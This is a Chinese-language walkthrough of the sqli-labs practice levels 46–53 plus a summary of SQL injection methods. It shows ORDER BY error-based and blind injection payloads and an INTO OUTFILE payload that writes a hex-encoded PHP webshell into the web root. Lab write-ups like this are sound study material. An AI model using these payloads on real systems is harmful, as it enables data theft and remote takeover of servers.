less46

这道题目我们打开源码,可以发现他的查询语句发生了很大的变化,我们可以发先这个语句由

1
select * from user where id='$id'

变成了
1
select * from user order by $srot

那么我来介绍以下order by
首先order by是一个mysql的排序语句,而我们常用的order by 1,order by 3之类的,原理就是order by的排列概功能,order by 3的意思就是将select查询的列的第三个进行排序,那么如果输入的数大于查询的列数就会报错,这就是order by查询列数的原理。
order by的基本语句如下
1
select username,password from users order by username,password ASC|DESC

ASC为正序而DESC为逆序
那么我们要怎么利用order by来进行注入呢?
1,经过尝试order_by后无法跟union进行注入
2,order by后可以使用and和or语句所以我们可以使用报错注入
1
?sort=1 or extractvalue(1,concat('~',(select database())))

3.可以采取盲注
1
?sort=1 and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(2))

我们还可以使用另一种盲注,利用if正确返回1错误返回2
1
?sort=if(ascii(substr((select database()),1,1))>100,1,2)

4,order by后还可以使用into outfile来进行过注入
1
into outfile 'D:\\phpstudy_pro\\WWW\\sqli\\Less-46\\1.php'  lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e

0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e为一句话木马的16进

less 47,48,49

47为数值型的盲注
48为数值型的盲注
49为’闭合的盲注

less 50,51,52,53

50为数字型的报错注入,51为单引号报错注入,52数字型的盲注,53单引号的盲注
这几关和前面几关的区别为,其查询函数为mysqli_multi_query()可以进行堆叠注入

总结

刷了这么就终于刷完了sqli-labs的前三页了,后面的第4页并没有新的知识了,第4页主要是用于练习

一:基础注入方式

1:判断其为字符型注入还是数字型注入,如果是字符型则判断其闭合方式' " ') "),其中括号数可以发生改变
2,判断注入方式,根据是否回显,回显方式来进行判断
(1)union注入:用于注入可以回显查询内容的页面
(2)报错注入:用于注入可以回显报错的注入或者后端语句为order by的
(3)布尔盲注:用于只回显正确错误两种信息的页面
(4)时间盲注,用于注入无任何回显的页面

二,特殊注入方式

(1)各种标头的注入如果后端语句为插入(也就是insert语句)标头(如ua头,cookie头等)的select语句则使用请求头注入
(2)二次注入,在注册等只对字符进行转义便存入数据库的语句中可以使用二次注入将一些脏语句传入数据库在二次调用时就有可以会危害数据库
(3)宽字节注入,在使用函数将’转义过滤后如果数据库可以使用gbk编码那么就可以使用宽字符注入来绕过\,因为%df\就是%df5c在gbk编码中是个汉字
(4)堆叠注入,遇到mysqli_multi_query()这种可以查询多条语句的函数,可以使用堆叠注入来修改数据库
(5)into outfile来插入木马文件来获取权限

三注入的基本防御方式

1、使用双服务器进行防御
2、过滤一些关键字符进行防御
3、添加\进行转义
Alt text